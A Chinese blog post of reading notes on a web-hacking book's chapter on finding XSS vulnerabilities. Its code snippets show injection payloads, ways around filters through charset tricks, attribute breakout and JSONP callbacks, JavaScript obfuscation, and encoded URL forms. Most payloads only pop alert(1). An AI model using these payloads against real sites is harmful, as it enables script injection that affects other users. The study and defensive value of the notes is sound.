《Web前端黑客技术解密》读书笔记(第六章)

2016-11-16  本文已影响144人  艾特TT

本文地址:http://www.jianshu.com/p/2d2ab1d1f9e7

第六章 漏洞挖掘

<body>
  <script>function $(id){return document.getElementById(id);}</script>
<input 
  type='button' value='btn1'
  onclick="$('i1').innerHTML='<img onerror=alert(1) />';alert($('i1').innerHTML)" />
<input 
  type='button' value='btn2' 
  onclick="$('i2').innerHTML='<img onerror=alert(1) />';alert($('i2').innerHTML)" />

  <textarea id='i1'>3333</textarea>
  <div id="i2"></div>

</body>

<!-- btn1 结果 为 <img onerror=alert(1)/> -->
<!-- btn2 结果 为 <img onerror=alert(1)/>; -->

通过返回结果可以看出区别,因为textarea不解析html,类似的标签还有 <title></title><iframe></iframe><noscript></noscript><noframes></noframes>;另外还有 xmpplaintext

注意以下返回区别:

var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div> (chrome, safari)
// "<div xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">innerText</div>" (firefox)
var textarea = document.createElement('textarea');
textarea.innerText='<div>innerText</div>';
console.log(textarea.innerHTML)
// <div>innerText</div>(chrome, safari)
// '' (firefox)
var textarea = document.createElement('textarea');
textarea.innerHTML='<div>innerText</div>';
console.log(textarea.innerText)
// <div>innerText</div> (chrome)
// <div>innerText</div> (safari)
// undefined (firefox 没有innerText接口)

可通过URL拼接一些特殊字符('"<>!@$%^*(){}[]:;,?~)知道

window.__defineSetter__('a', function(){console.log(22);});
window.a=11;
// 22
// 11

字符集缺陷导致XSS攻击

<?php header("Content-Type:text/html;charset=GBK"); ?>
<head></head>
<body>
    <script>
        a="<?php echo $_GET['x']; ?>"
    </script>
</body>

<!--
如果url是
go.php?x=";alert(1)//
结果会被转成
a="1\";alert(1)//"
// 具体参见P161
-->

绕过浏览器 XSS Filter

XSS Filter 主要针对反射性XSS,大体采用一种启发式的检测,根据用户提交的数据检测是否存在潜在的XSS特征,并重新渲染响应内容保证潜在XSS特征不会触发

混淆代码

浏览器三套 编/解码 方法

第一组:escapeunescape,且对0~255以外的unicode值进行编码时输出 %u****

第二组:encodeURIdecodeURI

第三组:encodeURIComponentdecodeURICompon

此外,除以上三种加/解码方法外,还有 HTMLEncode、URIEncode、JSEncode、UTF-7编码、Base64编码

HTML中注入技巧

完整的HTML代码分为:标签名,属性名,属性值,文本,注释。

标签,HTML语言是松散的,且标签有优先级,可以通过混淆代码绕过,比如大小写不区分
<title><a href="</title><img src='/te.jpg' onerror=alert(11)//">aaa</a></title>
// 会alert出11
// 把title 换成 div后就不会

如果过滤器将以上标签过滤了,可以尝试一下方式:

<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">
属性,不区分大小写,属性值可用单引号、双引号、不用引号、反引号(IE);且标签与属性、属性与等号、等号与属性值可使用换行、回车或tab等,个数不限
<font color=<? $_GET['url'] ?> />
// 构造以下url即可
?url=x%20onerror=alert(1)
// 结果为
<font color=x onerror=alert(1) />

// 属性有引号时,想办法闭合方法与前面类似
<font color="<? $_GET['url'] ?>" />
?url=x"%20onerror=alert(1) //

如果对方将引号过滤掉或HTMLEncode转义了,有以下两个特例

// 使用与 IE6
<img src="x` `<script>alert(1)</script>"` `> 
// 适用于IE Firefox Chrome Opera
<img src= alt=" onerror=alert(1) //">

HTML总体通过属性定义的事件在执行时会做HTMLDecode编码

防御的办法是先进行JSEncode,然后进行HTMLEncode编码

APPLET,EMBED,FRAME,IFRAME,IMG
INPUT type=image,
XML,A,LINK,AREA,
TABLE\TR\TD\TH的background属性,
BGSOUND,AUDIO,VIDEO,OBJECT,META,refresh,SCRIPT,BASE,SROUCE
// 不生效
<img src='javascript:alert(1)' />

// 生效
<iframe src='javascript:alert(1)' />
<img dynsrc='javascript:alert(1)' /> (IE6)
<img lowsrc='javascript:alert(1)' /> (IE6)
<isindex action='javascript:alert(1)' type='image'/>
<input type='image' src='javascript:alert(1)' />

CSS中注入

主要分为:选择符,属性名,属性值,规则和申明

JS中注入

<script>
var a="</script><script>alert('inner script')</script>"
// 会解析为两个script
// 后端返回的JSON
{"name": 1}
// JSONP方式后端的返回
// url?callback=mycallback
mycallback({"name":1})
// 简单的方式是mycallback可以变为<script>alert(1)</script>
// 返回结果即
<script>alert(1)</script>({"name":1})
// 具体参见P199

JS代码混淆,混淆有很多种,这里列举几种

eval(String.fromCharCode(97,108,101,114,116,40,49,41,59))
// alert(1)

如果对函数屏蔽,如eval, alert, http等,利用 (0)['constructor']['constructor'] 代替 eval(这里利用Function),或拼接"h"+"t"+"t"+"p"

(0)['constructor']['constructor']('alert(1)')()

突破URL过滤

<A HREF='http://66.102.7.147/'>正常URL</A>
<A HREF='http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D'>URL编码</A>
<A HREF='http://1113982867/'>十进制</A>
<A HREF='http://0x42.0x000066.0x7.0x93'>十六进制</A>
<A HREF='http://0102.0146.0007.000000223'>八进制</A>
<A HREF='http://6   6.000146.0x7.147'>混合编码</A>
<A HREF='//www.google.com'>不带http:协议</A>
<A HREF='http://www.google.com.'>最后加个点</A>

经典混淆XSS利用点参考书本 P202

其他一些CheckList参加网站 html5sec.org ,fuzzing平台如 shazzer.co.uk,有大量XSS利用点

附原书购买地址: http://item.jd.com/11181832.html

上一篇下一篇

猜你喜欢

热点阅读